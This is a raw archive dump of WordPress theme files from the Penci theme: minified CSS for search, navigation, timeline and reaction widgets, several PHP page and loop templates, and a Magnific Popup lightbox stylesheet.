input.search-input{position:static;border:1px solid var(--pcborder-cl)}.show-search.pcbds-popup form.pc-searchform .pc-searchform-inner{display:flex;flex-direction:row;justify-content:space-between;gap:15px;width:100%}.show-search.pcbds-popup form.pc-searchform .search-input{height:auto;padding:0 15px}.show-search.pcbds-popup .close-search{--size:22px;right:10px;top:10px;width:var(--size);height:var(--size)!important;line-height:var(--size)!important;color:var(--pcheading-cl);font-size:var(--size)}.show-search.pcbds-popup form.pc-searchform .searchsubmit{display:block}.show-search.pcbds-popup form.pc-searchform .searchsubmit:after{content:'\f105';font-family:FontAwesome;margin-left:10px}.show-search.pcbds-popup .penci-search-form form.penci-ajax-search button{font-size:12px;height:58px}.pc-search-top-title{margin-bottom:15px;font-size:22px}.pc-search-suggest-term{margin-top:15px}.pc-search-popup-overlay{position:fixed;top:0;left:0;right:0;left:0;z-index:9999;width:100vw;height:100vh;background:rgba(17,17,17,.75);visibility:hidden;opacity:0;margin:0!important;padding:0!important;transition:all .3s ease-in-out;backdrop-filter:blur(5px)}body.search-open .pc-search-popup-overlay{visibility:visible;opacity:1}.pc-search-recent-posts{margin-top:30px}.pc-search-recent-posts>h3{margin-bottom:15px;font-size:18px}@media only screen and (max-width:960px){.pc-search-recent-posts{display:none}.show-search.pcbds-popup form.pc-searchform .pc-searchform-inner{flex-direction:column}}body.pah-underline .entry-title a{background-image:linear-gradient(var(--pcaccent-cl) 0,var(--pcaccent-cl) 98%);background-size:0 3px;background-repeat:no-repeat;background-position:left 100%;word-break:break-word}body.pah-underline .entry-title a:hover{background-size:100% 3px}.penci-post-sticky-nav{position:fixed;top:120px;left:0;right:0;background:rgba(255,255,255,.99);z-index:9999;opacity:0;visibility:hidden;transition:.3s all ease-in-out;border-top:1px solid var(--pcborder-cl);box-shadow:0 5px 5px 0 rgba(181,181,181,.5)}.penci-post-sticky-nav .container{max-width:calc(100% - 60px);width:100%}.wrapper-boxed.enable-boxed .penci-post-sticky-nav{width:calc(var(--pcctain) + 60px);left:auto;right:auto}.penci-post-sticky-nav.active{opacity:1;visibility:visible}.penci-post-sticky-nav-wrap{display:grid;grid-template-columns:352px minmax(0,1fr) 352px;align-items:center;padding-top:10px;padding-bottom:10px}.penci-post-sticky-nav-wrap .next-post,.penci-post-sticky-nav-wrap .prev-post{position:relative;display:flex;flex-wrap:wrap;align-items:center;grid-column:1/2;word-wrap:break-word;word-break:break-word}.penci-post-sticky-nav-wrap .next-post{padding-right:30px}.penci-post-sticky-nav-wrap .prev-post{padding-left:30px}.penci-post-sticky-nav-wrap .next-post-wrap:before,.penci-post-sticky-nav-wrap .prev-post-wrap:before{content:'\f105';font-family:FontAwesome;position:absolute;right:0;font-size:22px;height:100%;display:flex;align-items:center;color:var(--pcaccent-cl)}.penci-post-sticky-nav-wrap .prev-post-wrap:before{right:auto;left:0;content:'\f104'}.penci-post-sticky-nav-wrap .next-post{flex-direction:row-reverse;grid-column:3/4;justify-content:space-between}.penci-post-sticky-nav-wrap .current-post{align-self:center;display:flex;grid-column:2/3;justify-content:center;align-items:center}.penci-post-sticky-nav-wrap .penci-post-nav-thumb{border-radius:4px}.snav-pwrap{display:flex;align-items:center}.snav-pwrap .pagi-text{margin:0}.penci-post-sticky-nav .next-post-wrap{flex-direction:row-reverse}.penci-post-sticky-nav .pagi-text h5{color:var(--pcheading-cl);margin-top:0}.penci-post-sticky-nav .pagi-text h5:hover{color:var(--pcaccent-cl)}.penci-post-sticky-nav-wrap .current-post h4{font-size:20px;text-align:center}.penci-post-sticky-nav-wrap .next-post-wrap:after,.penci-post-sticky-nav-wrap .prev-post-wrap:after{content:"";width:100%;max-width:0;height:2px;background:var(--pcaccent-cl);left:0;position:absolute;transform:translateY(1px);transition:.3s all ease-in-out}.penci-post-sticky-nav .prev-post .prev-post-wrap:before{transition:.3s all ease-in-out}.penci-post-sticky-nav .prev-post:hover .prev-post-wrap:before{left:-10px}.penci-post-sticky-nav .prev-post:hover .prev-post-wrap:after{max-width:20px;left:-8px}.penci-post-sticky-nav-wrap .next-post-wrap:after{right:0;left:auto}.penci-post-sticky-nav .next-post .next-post-wrap:before{transition:.3s all ease-in-out}.penci-post-sticky-nav .next-post:hover .next-post-wrap:before{right:-10px}.penci-post-sticky-nav .next-post:hover .next-post-wrap:after{max-width:20px;right:-8px}@media only screen and (max-width:1170px){.penci-post-sticky-nav-wrap{grid-template-columns:50px minmax(0,1fr) 50px;gap:10px}.penci-post-sticky-nav-wrap .penci-image-holder,.penci-post-sticky-nav-wrap .pnavi-inner{display:none}}@media only screen and (max-width:767px){.penci-post-sticky-nav{display:none}}.penci-focus-mode-button{position:fixed;bottom:20px;left:auto;right:20px;background:#000;color:#fff;padding:0 18px;border-radius:0;font-size:14px;font-weight:700;cursor:pointer;z-index:9999;height:40px;line-height:40px;transition:.3s all ease-in-out}.penci-focus-mode-icon::before{content:'\f2da';font-family:FontAwesome;margin-right:6px;display:inline-block;font-size:125%;vertical-align:middle}.penci-focus-mode-button.left{left:20px;right:auto}body.penci-gtt-enable .penci-focus-mode-button.right{right:70px}body.rtl.penci-gtt-enable .penci-focus-mode-button.left{left:70px}body.penci-focus-mode .pcfb-wrapper,body.penci-focus-mode .penci-breadcrumb,body.penci-focus-mode .penci-header-wrap,body.penci-focus-mode .penci-ilrelated-posts,body.penci-focus-mode .penci-post-sticky-nav,body.penci-focus-mode .penci-sticky-sidebar,body.penci-focus-mode .post-author,body.penci-focus-mode .post-related,body.penci-focus-mode .single-post-share{display:none}body.penci-focus-mode .penci-main-sticky-sidebar{min-height:initial!important}body.penci-focus-mode .theiaStickySidebar{position:static!important}body.penci-focus-mode{--pcbg-cl:#fff;background:var(--pcbg-cl)}body.penci-focus-mode .penci-single-block{margin:60px 0}body.penci-body-boxed.penci-focus-mode{background:var(--pcbg-cl)}body.penci-focus-mode.single .post{margin-bottom:0;margin-top:60px}body.penci-focus-mode .container.penci_sidebar #main,body.penci-focus-mode .penci-single-style-10 .penci-single-s10-content{width:100%;margin:0 auto;float:none;padding:0;max-width:770px}body.penci-focus-mode .penci-focus-mode-button{background:var(--pcaccent-cl);color:#fff}body.penci-focus-mode .wrapper-boxed.enable-boxed{box-shadow:unset;webkit-box-shadow:unset;-moz-box-shadow:unset}body.penci-focus-mode #main article.post{margin:0!important}.penci-vscroll{overflow:hidden}.penci_push_notification{padding:30px;border:1px solid var(--pcborder-cl);text-align:center;box-shadow:0 3px 8px 0 rgba(55,55,55,.1);background:#fcfcfc}.penci_push_notification p,.post-entry .penci_push_notification p{text-align:center;font-weight:bolder;margin-bottom:15px}.penci_push_notification .button{background:var(--pcaccent-cl);color:#fff;display:inline-block;padding:5px 15px;text-decoration:none}.penci_push_notification .button:hover{text-decoration:none;opacity:.8}.penci-tiline-grid{display:flex;flex-wrap:wrap;margin:0;margin-left:0;padding:0;list-style:none}.penci-tiline-item{width:100%}.penci-tiline-align-center .penci-tiline-item{width:50%}.penci-tiline .penci-tiline-item-main-container{padding-left:50px;padding-bottom:50px}.penci-tiline .penci-tiline-thumbnail{overflow:hidden;position:relative;z-index:2}.penci-tiline .penci-tiline-thumbnail img{width:100%;object-fit:cover}.penci-tiline .penci-tiline-item-main-wrapper{position:relative;padding-left:50px}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-item-main-container{padding-left:50px}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-item-main{position:relative;background:#f1f1f1}.penci-tiline.penci-tiline-posts .penci-tiline-item-main-wrapper .penci-tiline-item-main{background:#fff}.penci-tiline.penci-tiline-posts .penci-biggrid .penci-bgitin{border:1px solid var(--pcborder-cl)}.penci-tiline.penci-tiline-posts .pcbg-title a,.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a{color:var(--pcheading-cl)}.penci-tiline.penci-tiline-posts .pcbg-title a:hover,.post-entry .penci-tiline.penci-tiline-posts .pcbg-title a:hover{color:var(--pcaccent-cl)}.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn{background:#555;color:#fff;font-weight:600}.penci-tiline.penci-tiline-posts .pcbg-readmore-sec .pcbg-readmorebtn:hover{background:#000}.penci-tiline.penci-tiline-posts .grid-post-box-meta span:after{box-sizing:border-box;-webkit-box-sizing:border-box;width:4px;height:4px;border:2px solid;border-radius:2px;transform:translateY(-2px);-webkit-transform:translateY(-2px)}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line{position:absolute;top:0;height:100%}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-line span{height:100%;position:absolute;transform:translateX(-50%);transform-origin:center;display:block;border-width:2px;border-left-style:dashed;border-color:var(--pcborder-cl)}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon{position:absolute;top:20px;transform:translate(-50%,-50%);left:51px}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span{position:absolute;text-align:center;border:4px solid color-mix(in srgb,var(--pcaccent-cl) 40%,#fff);transform:translate(-50%,-50%);border-radius:50%;height:48px;width:48px;background:var(--pcaccent-cl);display:flex;align-items:center;justify-content:center}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span i,.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon span svg{color:#fff}.penci-tiline .penci-tiline-meta{margin-bottom:0}.penci-tiline .penci-tiline-meta li{display:inline-block}.penci-tiline .penci-tiline-excerpt,.penci-tiline .penci-tiline-excerpt p,.penci-tiline .penci-tiline-title{margin:0;padding:0}.penci-tiline .penci-tiline-title{font-size:18px}.penci-tiline .penci-tiline-readmore{margin:0}.penci-tiline .penci-tiline-readmore svg{width:1em;height:1em;vertical-align:middle}.penci-tiline .penci-tiline-arrow{position:absolute;width:15px;height:15px;transform:rotate(45deg);z-index:0;top:15px;left:-8px;background:#f1f1f1}.penci-tiline .penci-tiline-item:nth-last-child(-n+1) .penci-tiline-item-main-container{padding-bottom:0}.penci-tiline .penci-tiline-item:nth-last-child(-n+1) .penci-tiline-line{display:none}.penci-tiline-right .penci-tiline-item{margin-left:auto}.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper{padding-left:0}.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-item-main-container,.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-item-main-container{padding-right:50px;padding-left:0}.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-arrow,.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-arrow{right:-8px;left:auto}.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line{right:0}.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon{right:0;left:auto}.penci-tiline-right .penci-tiline-date{padding:10px 50px}.penci-tiline-icon svg{width:1em;height:1em}.penci-tiline-desc{padding:30px}@media (max-width:959px){.penci-tiline-right .penci-tiline-item .penci-tiline-item-main-wrapper{padding-right:55px}.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-line,.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-line{right:55px}.penci-tiline-right .penci-tiline-item.left-part .penci-tiline-icon,.penci-tiline-right .penci-tiline-item.right-part .penci-tiline-icon{right:55px;left:auto}}@media (min-width:960px){.penci-tiline-center .penci-tiline-item .penci-tiline-item-main-wrapper{padding-left:0}.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-item-main-container{padding-right:50px;padding-left:0}.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-arrow{right:-8px;left:auto}.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-line{right:0}.penci-tiline-center .penci-tiline-item.left-part .penci-tiline-icon{right:0;left:auto}.penci-tiline-center .penci-tiline-item.right-part .penci-tiline-item-main-container{padding-left:50px;padding-right:0}.penci-tiline-center .penci-tiline-item.right-part .penci-tiline-icon{left:0}.penci-tiline-center .penci-tiline-date{padding:5px 50px}.penci-tiline-center .penci-tiline-item:nth-child(-n+2) .penci-tiline-item-main-container{padding-top:0}.penci-tiline-center .penci-tiline-item:nth-child(-n+2) .penci-tiline-icon{top:22px}.penci-tiline-center .penci-tiline-item:nth-last-child(-n+2) .penci-tiline-item-main-container{padding-bottom:0}.penci-tiline-archive.penci-tiline-center .penci-tiline-date{margin-top:5px}}.penci-tiline figcaption{margin-bottom:0}@keyframes fadeIn{0%{opacity:0;top:70px}100%{opacity:1;top:0}}@keyframes liftUp{0%{top:0}100%{top:-15px}}.post-entry .penci-tiline-meta,.post-entry .penci-tiline-meta li{margin:0;padding:0}.penci-tiline-meta,.post-entry .penci-tiline-meta{list-style:none;font-size:13px;padding:10px 0}.penci-tiline-meta li:not(:last-child),.post-entry .penci-tiline-meta li:not(:last-child){margin-right:20px}.penci-tiline-readmore,.post-entry .penci-tiline-readmore{padding:5px 15px;display:inline-block;background:var(--pcaccent-cl);color:var(--pcbg-cl);transition:.3 all ease-in-out;margin-top:20px}.penci-tiline-readmore:hover{opacity:.8}.penci-tiline-item-date-wrap.right{text-align:right}.penci-tiline .penci-tiline-icon span{background:#fff}.penci-tiline .penci-tiline-date span{background:#1c1b1b;color:#fff;padding:10px 15px;display:inline;box-decoration-break:clone;-webkit-box-decoration-break:clone}.penci-tiline-item--top .penci-tiline-content:after{border-top-color:#f1f1f1}.penci-tiline-item--bottom .penci-tiline-content:after{border-bottom-color:#f1f1f1}.penci-tiline--mobile .penci-tiline-content:after{border-right-color:#f1f1f1}@media only screen and (max-width:960px){.penci-tiline-align-center .penci-tiline-item{width:100%}.penci-tiline-align-center .penci-tiline-item-date-wrap{display:none}.penci-tiline .penci-tiline-item-main-wrapper{padding:0}.penci-tiline .penci-tiline-item-main-wrapper .penci-tiline-icon{left:0}}.penci-tiline{padding-top:30px}.penci-tiline-archive{padding-top:60px;padding-bottom:60px}.penci-tiline .penci-tiline-item:first-child .penci-tiline-item-main-wrapper .penci-tiline-line{top:-30px;height:calc(100% + 30px)}.penci-tiline .penci-tiline-item:first-child .penci-tiline-item-main-wrapper .penci-tiline-line:before{width:10px;height:10px;content:"";background:var(--pcborder-cl);top:-20px;position:absolute;transform:translateX(-50%);z-index:9;border-radius:50%}.penci-tiline-meta a,.post-entry .penci-tiline-meta a{color:var(--pcheading-cl);text-decoration:none}.post-entry .penci-tiline-item a{text-decoration:none}.penci-tiline .penci-biggrid-wrapper .pcbg-content-inner{background:#fff}.penci-tiline .penci-bgstyle-1 .penci-dflex .penci-bgitem,.penci-tiline .penci-biggrid-wrapper{margin-bottom:0}.penci-tiline-item .pcbg-readmorebtn svg{max-height:15px;width:auto}.penci-post-box-timeline{padding-bottom:0;border-bottom:0;text-align:center}.penci-post-box-timeline .penci-post-share-box{float:none;vertical-align:middle}.penci-post-reactions{padding-top:30px;margin-top:30px;border-top:5px solid var(--pcborder-cl)}.penci-post-reactions ul,.penci-post-reactions ul li{list-style:none;padding:0;margin:0}.penci-post-reactions ul{display:flex;justify-content:center;gap:30px}.penci-post-reactions img{width:50px;height:auto;transform:scale(.8);transition:all .15s ease-in-out}.penci-post-reactions li:hover img{transform:scale(1)}.penci-post-reactions li{display:flex;flex-direction:column;justify-content:center;align-items:center}.penci-post-reactions .penci-reaction-count{font-weight:700;font-size:12px;color:var(--pcmeta-cl)}.penci-post-reactions{text-align:center}.post-entry .penci-post-reactions-title{margin:0;padding:0}.post-entry .penci-post-reactions-desc{font-size:14px}@media only screen and (max-width:767px){.penci-post-reactions ul{gap:10px}.penci-post-reactions img{width:30px}}PK     N\z      content-standard-list.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 * If $jj = 1, to show standard post, $jj > 1 to show grid post
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) { $jj = 1; } else { $jj = $jj; }

if ( $jj == 1 ) {
	//get_template_part( 'content', 'standard' );
	include( locate_template( 'content-standard.php' ) );
}
else {
	include( locate_template( 'content-list.php' ) );
}

$jj++;
?>

PK     N\"3)      content-mixed-4.phpnu [        <?php
/**
 * Template loop for 1st standard then grid
 */


/**
 * Create var $jj to count order posts
 *
 * @since 1.0
 */
if ( ! isset ( $jj ) ) {
	$jj = 1;
} else {
	$jj = $jj;
}

if ( $jj == 1 ) {
	include( locate_template( 'content-featured.php' ) );
} elseif ( $jj < 6 ) {
	include( locate_template( 'content-grid-2.php' ) );
} else {
	include( locate_template( 'content-small-list.php' ) );
}

$jj ++;
?>

PK     N\Zn      searchform.phpnu [        <form role="search" method="get" class="pc-searchform" action="<?php echo esc_url( home_url( '/' ) ); ?>">
    <div class="pc-searchform-inner">
        <input type="text" class="search-input"
               placeholder="<?php echo penci_get_setting( 'penci_trans_type_and_hit' ); ?>" name="s"/>
        <i class="penciicon-magnifiying-glass"></i>
        <input type="submit" class="searchsubmit" value="<?php echo penci_get_setting( 'penci_trans_search' ); ?>"/>
    </div>
</form>
PK     N\n91      page-vc.phpnu [        <?php
/**
 * Template Name: Page VC builder no sidebar
 */
get_header();
$breadcrumb     = get_post_meta( get_the_ID(), 'penci_page_breadcrumb', true );
$pagetitle      = get_post_meta( $post->ID, 'penci_page_display_title', true );
$page_meta      = get_post_meta( get_the_ID(), 'penci_page_slider', true );
$rev_shortcode  = get_post_meta( get_the_ID(), 'penci_page_rev_shortcode', true );
$featured_boxes = get_post_meta( get_the_ID(), 'penci_page_display_featured_boxes', true );

if ( Penci_Featured_Slider::is_slider_style( $page_meta ) ) {
	if ( $page_meta == 'video' && get_theme_mod( 'penci_featured_video_url' ) ) {
		get_template_part( 'inc/featured_slider/featured_video' );
	} else {
		Penci_Featured_Slider::render_featured_slider( [
			'style'         => $page_meta,
			'rev_shortcode' => $rev_shortcode,
		] );
	}
}

/* Display Featured Boxes */
if ( $featured_boxes == 'yes' && ! get_theme_mod( 'penci_home_hide_boxes' ) && ( get_theme_mod( 'penci_home_box_img1' ) || get_theme_mod( 'penci_home_box_img2' ) || get_theme_mod( 'penci_home_box_img3' ) || get_theme_mod( 'penci_home_box_img4' ) ) ):
	get_template_part( 'inc/modules/home_boxes' );
endif;
?>
<?php $show_page_title = penci_is_pageheader(); ?>
<?php if ( ! $show_page_title ): ?>
	<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && ! get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
		<?php
		$yoast_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb">', '</div>', false );
		}

		if ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else { ?>
            <div class="container container-single-page penci-breadcrumb">
                <span><a class="crumb"
                         href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
				<?php
				$page_parent = get_post_ancestors( get_the_ID() );
				if ( ! empty( $page_parent ) ):
					$page_parent = array_reverse( $page_parent );
					foreach ( $page_parent as $pages ) {
						?>
                        <span><a class="crumb"
                                 href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                        </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php }
				endif; ?>
                <span><?php the_title(); ?></span>
            </div>
		<?php } ?>
	<?php endif; ?>
<?php endif; ?>

<div class="container penci_is_nosidebar">

	<?php if ( ! $show_page_title ): ?>
		<?php if ( ! get_theme_mod( 'penci_disable_breadcrumb' ) && ( 'no' != $breadcrumb ) && get_theme_mod( 'penci_move_breadcrumbs' ) ): ?>
			<?php
			$yoast_breadcrumb = '';
			if ( function_exists( 'yoast_breadcrumb' ) ) {
				$yoast_breadcrumb = yoast_breadcrumb( '<div class="container container-single-page penci-breadcrumb penci-crumb-inside">', '</div>', false );
			}

			if ( $yoast_breadcrumb ) {
				echo $yoast_breadcrumb;
			} else { ?>
                <div class="container container-single-page penci-breadcrumb penci-crumb-inside">
                        <span><a class="crumb"
                                 href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php
					$page_parent = get_post_ancestors( get_the_ID() );
					if ( ! empty( $page_parent ) ):
						$page_parent = array_reverse( $page_parent );
						foreach ( $page_parent as $pages ) {
							?>
                            <span><a class="crumb"
                                     href="<?php echo get_permalink( $pages ); ?>"><?php echo get_the_title( $pages ); ?></a>
                            </span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
						<?php }
					endif; ?>
                    <span><?php the_title(); ?></span>
                </div>
			<?php } ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ( ! $show_page_title ): ?>
		<?php if ( get_the_title() && ( 'no' != $pagetitle ) ): ?>
            <div class="penci-page-header">
                <h1><?php the_title(); ?></h1>
            </div>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
		<?php the_content(); ?>
	<?php endwhile; endif; ?>
</div>
<?php get_footer(); ?>
PK     N\    main.cssnu [        .mfp-bg {
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 9999999;
	overflow: hidden;
	position: fixed;
	background: #0b0b0b;
	opacity: .8
}
.mfp-wrap {
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 9999999;
	position: fixed;
	outline: 0 !important;
	-webkit-backface-visibility: hidden
}
.mfp-container {
	text-align: center;
	position: absolute;
	width: 100%;
	height: 100%;
	left: 0;
	top: 0;
	padding: 0 8px;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box
}
.mfp-container:before {
	content: "";
	display: inline-block;
	height: 100%;
	vertical-align: middle
}
.mfp-align-top .mfp-container:before {
	display: none
}
.mfp-content {
	position: relative;
	display: inline-block;
	vertical-align: middle;
	margin: 0 auto;
	text-align: left;
	z-index: 1045
}
.mfp-ajax-holder .mfp-content,
.mfp-inline-holder .mfp-content {
	width: 100%;
	cursor: auto
}
.mfp-ajax-cur {
	cursor: progress
}
.mfp-zoom-out-cur,
.mfp-zoom-out-cur .mfp-image-holder .mfp-close {
	cursor: -moz-zoom-out;
	cursor: -webkit-zoom-out;
	cursor: zoom-out
}
.mfp-zoom {
	cursor: pointer;
	cursor: -webkit-zoom-in;
	cursor: -moz-zoom-in;
	cursor: zoom-in
}
.mfp-auto-cursor .mfp-content {
	cursor: auto
}
.mfp-arrow,
.mfp-close,
.mfp-counter,
.mfp-preloader {
	-webkit-user-select: none;
	-moz-user-select: none;
	user-select: none
}
.mfp-loading.mfp-figure {
	display: none
}
.mfp-hide {
	display: none !important
}
.mfp-preloader {
	color: #ccc;
	position: absolute;
	top: 50%;
	width: auto;
	text-align: center;
	margin-top: -.8em;
	left: 8px;
	right: 8px;
	z-index: 1044
}
.mfp-preloader a {
	color: #ccc
}
.mfp-preloader a:hover {
	color: #fff
}
.mfp-s-ready .mfp-preloader {
	display: none
}
.mfp-s-error .mfp-content {
	display: none
}
button.mfp-arrow,
button.mfp-close {
	overflow: visible;
	cursor: pointer;
	background: 0 0;
	border: 0;
	-webkit-appearance: none;
	display: block;
	outline: 0;
	padding: 0;
	z-index: 1046;
	-webkit-box-shadow: none;
	box-shadow: none;
	position: absolute
}
button.mfp-arrow,
button.mfp-close {
	font-size: 28px
}
button::-moz-focus-inner {
	padding: 0;
	border: 0
}
button.mfp-close {
	width: 44px;
	height: 44px;
	line-height: 44px;
	position: absolute;
	right: 0;
	top: 0;
	text-decoration: none;
	text-align: center;
	opacity: .65;
	padding: 0 0 18px 10px;
	color: #fff;
	font-style: normal;
	font-size: 30px;
	font-family: Arial, Baskerville, monospace
}
.mfp-close:focus,
.mfp-close:hover {
	opacity: 1
}
.mfp-close:active {
	top: 1px
}
.mfp-close-btn-in .mfp-close {
	color: #333;
	font-size: 28px
}
.mfp-iframe-holder .mfp-close,
.mfp-image-holder .mfp-close {
	color: #fff;
	right: -6px;
	text-align: right;
	padding-right: 6px;
	width: 100%
}
.mfp-counter {
	position: absolute;
	top: 0;
	right: 0;
	color: #ccc;
	font-size: 12px;
	line-height: 18px
}
.mfp-arrow {
	position: absolute;
	opacity: .65;
	margin: 0;
	top: 50%;
	margin-top: -55px;
	padding: 0;
	width: 90px;
	height: 110px;
	-webkit-tap-highlight-color: transparent
}
.mfp-arrow:active {
	margin-top: -54px
}
.mfp-arrow:focus,
.mfp-arrow:hover {
	opacity: 1
}
.mfp-arrow .mfp-a,
.mfp-arrow .mfp-b,
.mfp-arrow:after,
.mfp-arrow:before {
	content: "";
	display: block;
	width: 0;
	height: 0;
	position: absolute;
	left: 0;
	top: 0;
	margin-top: 35px;
	margin-left: 35px;
	border: medium inset transparent
}
.mfp-arrow .mfp-a,
.mfp-arrow:after {
	border-top-width: 13px;
	border-bottom-width: 13px;
	top: 8px
}
.mfp-arrow .mfp-b,
.mfp-arrow:before {
	border-top-width: 21px;
	border-bottom-width: 21px;
	opacity: .7
}
.mfp-arrow-left {
	left: 0
}
.mfp-arrow-left .mfp-a,
.mfp-arrow-left:after {
	border-right: 17px solid #fff;
	margin-left: 31px
}
.mfp-arrow-left .mfp-b,
.mfp-arrow-left:before {
	margin-left: 25px;
	border-right: 27px solid #3f3f3f
}
.mfp-arrow-right {
	right: 0
}
.mfp-arrow-right .mfp-a,
.mfp-arrow-right:after {
	border-left: 17px solid #fff;
	margin-left: 39px
}
.mfp-arrow-right .mfp-b,
.mfp-arrow-right:before {
	border-left: 27px solid #3f3f3f
}
.mfp-iframe-holder {
	padding-top: 40px;
	padding-bottom: 40px
}
.mfp-iframe-holder .mfp-content {
	line-height: 0;
	width: 100%;
	max-width: 1200px
}
.mfp-iframe-holder .mfp-close {
	top: -40px
}
.mfp-iframe-scaler {
	width: 100%;
	height: 0;
	overflow: hidden;
	padding-top: 56.25%
}
.mfp-iframe-scaler iframe {
	position: absolute;
	display: block;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	box-shadow: 0 0 8px rgba(0, 0, 0, .6);
	background: #000
}
img.mfp-img {
	width: auto;
	max-width: 100%;
	height: auto;
	display: block;
	line-height: 0;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
	padding: 40px 0;
	margin: 0 auto
}
.mfp-figure {
	line-height: 0
}
.mfp-figure:after {
	content: "";
	position: absolute;
	left: 0;
	top: 40px;
	bottom: 40px;
	display: block;
	right: 0;
	width: auto;
	height: auto;
	z-index: -1;
	box-shadow: 0 0 8px rgba(0, 0, 0, .6);
	background: #444
}
.mfp-figure small {
	color: #bdbdbd;
	display: block;
	font-size: 12px;
	line-height: 14px
}
.mfp-figure figure {
	margin: 0
}
.mfp-bottom-bar {
	margin-top: -36px;
	position: absolute;
	top: 100%;
	left: 0;
	width: 100%;
	cursor: auto
}
.mfp-title {
	text-align: left;
	line-height: 18px;
	color: #f3f3f3;
	word-wrap: break-word;
	padding-right: 36px
}
.mfp-image-holder .mfp-content {
	max-width: 100%
}
.mfp-gallery .mfp-image-holder .mfp-figure {
	cursor: pointer
}
@media screen and (max-width:800px) and (orientation:landscape), screen and (max-height:300px) {
	.mfp-img-mobile .mfp-image-holder {
		padding-left: 0;
		padding-right: 0
	}
	.mfp-img-mobile img.mfp-img {
		padding: 0
	}
	.mfp-img-mobile .mfp-figure:after {
		top: 0;
		bottom: 0
	}
	.mfp-img-mobile .mfp-figure small {
		display: inline;
		margin-left: 5px
	}
	.mfp-img-mobile .mfp-bottom-bar {
		background: rgba(0, 0, 0, .6);
		bottom: 0;
		margin: 0;
		top: auto;
		padding: 3px 5px;
		position: fixed;
		-webkit-box-sizing: border-box;
		-moz-box-sizing: border-box;
		box-sizing: border-box
	}
	.mfp-img-mobile .mfp-bottom-bar:empty {
		padding: 0
	}
	.mfp-img-mobile .mfp-counter {
		right: 5px;
		top: 3px
	}
	.mfp-img-mobile .mfp-close {
		top: 0;
		right: 0;
		width: 35px;
		height: 35px;
		line-height: 35px;
		background: rgba(0, 0, 0, .6);
		position: fixed;
		text-align: center;
		padding: 0
	}
}
@media all and (max-width:900px) {
	.mfp-arrow {
		-webkit-transform: scale(.75);
		transform: scale(.75)
	}
	.mfp-arrow-left {
		-webkit-transform-origin: 0;
		transform-origin: 0
	}
	.mfp-arrow-right {
		-webkit-transform-origin: 100%;
		transform-origin: 100%
	}
	.mfp-container {
		padding-left: 6px;
		padding-right: 6px
	}
}
.mfp-ie7 .mfp-img {
	padding: 0
}
.mfp-ie7 .mfp-bottom-bar {
	width: 600px;
	left: 50%;
	margin-left: -300px;
	margin-top: 5px;
	padding-bottom: 5px
}
.mfp-ie7 .mfp-container {
	padding: 0
}
.mfp-ie7 .mfp-content {
	padding-top: 44px
}
.mfp-ie7 .mfp-close {
	top: 0;
	right: 0;
	padding-top: 0
}
.mfp-ani-wrap .mfp-with-anim .summary-inner {
	opacity: 0;
	transition: transform .3s ease, opacity .3s ease;
	transform: translateX(30px)
}
.mfp-ani-wrap.mfp-bg {
	opacity: 0;
	transition: opacity .25s ease, visibility 0s ease .25s
}
.mfp-ani-wrap.mfp-ready.mfp-bg {
	opacity: .75;
	transition: opacity .25s ease, visibility 0s ease
}
.mfp-ani-wrap .mfp-with-anim {
	opacity: 0;
	transition: transform .3s ease, opacity .3s ease
}
.mfp-ani-wrap.mfp-removing .mfp-close {
	display: none
}
.mfp-ani-wrap .mfp-with-anim.move-to-top {
	transform: translateY(100px)
}
.mfp-ani-wrap.mfp-removing .mfp-with-anim.move-to-top {
	transform: translateY(-100px)
}
.mfp-ani-wrap .mfp-with-anim.move-to-bottom {
	transform: translateY(-100px)
}
